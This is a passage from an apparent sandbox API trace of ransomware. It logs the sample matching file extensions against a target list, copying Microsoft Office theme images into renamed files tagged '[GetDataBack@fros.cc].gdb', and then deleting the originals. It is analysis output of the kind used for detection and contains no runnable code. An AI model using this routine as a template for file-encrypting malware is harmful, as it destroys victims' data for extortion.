(lpString1=".7z", lpString2="GIF") returned -1 [0124.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.047] lstrlenW (lpString=".dbf") returned 4 [0124.047] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.047] lstrlenW (lpString=".1cd") returned 4 [0124.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".jpg") returned 4 [0124.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".doc") returned 4 [0124.048] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.048] lstrlenW (lpString=".docx") returned 5 [0124.048] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.048] lstrlenW (lpString=".pdf") returned 4 [0124.048] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString=".xls") returned 4 [0124.048] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString=".xlsx") returned 5 [0124.048] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.048] lstrlenW (lpString=".ppt") returned 4 [0124.048] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".zip") returned 4 [0124.048] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString=".rar") returned 4 [0124.048] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.048] lstrlenW (lpString=".bz2") returned 4 [0124.048] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.048] lstrlenW (lpString=".7z") returned 3 [0124.048] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".dbf") returned 4 [0124.048] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".1cd") returned 4 [0124.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0124.048] lstrlenW (lpString=".jpg") returned 4 [0124.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.048] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.048] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.049] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=20575) returned 1 [0124.049] CloseHandle (hObject=0x198) returned 1 [0124.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0124.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.049] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.049] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.050] GetLastError () returned 0x0 [0124.050] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x505f, lpOverlapped=0x0) returned 1 [0124.051] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x5060, lpOverlapped=0x0) returned 1 [0124.052] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0124.052] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0124.052] SetEndOfFile (hFile=0x224) returned 1 [0124.052] CloseHandle (hObject=0x224) returned 1 [0124.053] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.053] SetEndOfFile (hFile=0x198) returned 1 [0124.054] CloseHandle (hObject=0x198) returned 1 [0124.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.054] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".doc") returned 4 [0124.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString=".docx") returned 5 [0124.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.055] lstrlenW (lpString=".pdf") returned 4 [0124.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString=".xls") returned 4 [0124.055] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.055] lstrlenW (lpString=".xlsx") returned 5 [0124.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.055] lstrlenW (lpString=".ppt") returned 4 [0124.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".zip") returned 4 [0124.055] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.055] lstrlenW (lpString=".rar") returned 4 [0124.055] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.055] lstrlenW (lpString=".bz2") returned 4 [0124.055] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString=".7z") returned 3 [0124.055] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".dbf") returned 4 [0124.055] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".1cd") returned 4 [0124.055] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".jpg") returned 4 [0124.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.055] lstrlenW (lpString=".doc") returned 4 [0124.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString=".docx") returned 5 [0124.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.055] lstrlenW (lpString=".pdf") returned 4 [0124.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.055] lstrlenW (lpString=".xls") returned 4 [0124.056] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.056] lstrlenW (lpString=".xlsx") returned 5 [0124.056] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.056] lstrlenW (lpString=".ppt") returned 4 [0124.056] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.056] lstrlenW (lpString=".zip") returned 4 [0124.056] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.056] lstrlenW (lpString=".rar") returned 4 [0124.056] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.056] lstrlenW (lpString=".bz2") returned 4 [0124.056] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.056] lstrlenW (lpString=".7z") returned 3 [0124.056] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.056] lstrlenW (lpString=".dbf") returned 4 [0124.056] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.056] lstrlenW (lpString=".1cd") returned 4 [0124.056] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0124.056] lstrlenW (lpString=".jpg") returned 4 [0124.056] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.056] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.056] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.057] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1287) returned 1 [0124.057] CloseHandle (hObject=0x198) returned 1 [0124.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0124.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.057] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.057] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.058] GetLastError () returned 0x0 [0124.058] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x507, lpOverlapped=0x0) returned 1 [0124.060] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x510, lpOverlapped=0x0) returned 1 [0124.061] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0124.061] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0124.061] SetEndOfFile (hFile=0x224) returned 1 [0124.061] CloseHandle (hObject=0x224) returned 1 [0124.062] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.062] SetEndOfFile (hFile=0x198) returned 1 [0124.063] CloseHandle (hObject=0x198) returned 1 [0124.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0124.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.063] lstrlenW (lpString=".doc") returned 4 [0124.063] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.063] lstrlenW (lpString=".docx") returned 5 [0124.063] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.063] lstrlenW (lpString=".pdf") returned 4 [0124.063] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.063] lstrlenW (lpString=".xls") returned 4 [0124.063] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString=".xlsx") returned 5 [0124.064] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.064] lstrlenW (lpString=".ppt") returned 4 [0124.064] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".zip") returned 4 [0124.064] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString=".rar") returned 4 [0124.064] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString=".bz2") returned 4 [0124.064] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.064] lstrlenW (lpString=".7z") returned 3 [0124.064] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".dbf") returned 4 [0124.064] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".1cd") returned 4 [0124.064] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".jpg") returned 4 [0124.064] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".doc") returned 4 [0124.064] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.064] lstrlenW (lpString=".docx") returned 5 [0124.064] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.064] lstrlenW (lpString=".pdf") returned 4 [0124.064] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString=".xls") returned 4 [0124.064] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString=".xlsx") returned 5 [0124.064] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.064] lstrlenW (lpString=".ppt") returned 4 [0124.064] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.064] lstrlenW (lpString=".zip") returned 4 [0124.064] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.065] lstrlenW (lpString=".rar") returned 4 [0124.065] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.065] lstrlenW (lpString=".bz2") returned 4 [0124.065] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.065] lstrlenW (lpString=".7z") returned 3 [0124.065] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.065] lstrlenW (lpString=".dbf") returned 4 [0124.065] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.065] lstrlenW (lpString=".1cd") returned 4 [0124.065] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0124.065] lstrlenW (lpString=".jpg") returned 4 [0124.065] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.065] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.065] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.065] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=28595) returned 1 [0124.065] CloseHandle (hObject=0x198) returned 1 [0124.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0124.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.066] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.066] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.066] GetLastError () returned 0x0 [0124.066] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x6fb3, lpOverlapped=0x0) returned 1 [0124.339] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x6fc0, lpOverlapped=0x0) returned 1 [0124.342] ReadFile (in: hFile=0x198, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0124.342] WriteFile (in: hFile=0x224, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0124.343] SetEndOfFile (hFile=0x224) returned 1 [0124.344] CloseHandle (hObject=0x224) returned 1 [0124.346] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0124.346] SetEndOfFile (hFile=0x198) returned 1 [0124.349] CloseHandle (hObject=0x198) returned 1 [0124.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.350] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0124.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.350] lstrlenW (lpString=".doc") returned 4 [0124.350] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.350] lstrlenW (lpString=".docx") returned 5 [0124.350] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.350] lstrlenW (lpString=".pdf") returned 4 [0124.350] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.350] lstrlenW (lpString=".xls") returned 4 [0124.350] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.350] lstrlenW (lpString=".xlsx") returned 5 [0124.350] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.350] lstrlenW (lpString=".ppt") returned 4 [0124.350] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.350] lstrlenW (lpString=".zip") returned 4 [0124.350] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.350] lstrlenW (lpString=".rar") returned 4 [0124.351] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.351] lstrlenW (lpString=".bz2") returned 4 [0124.351] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString=".7z") returned 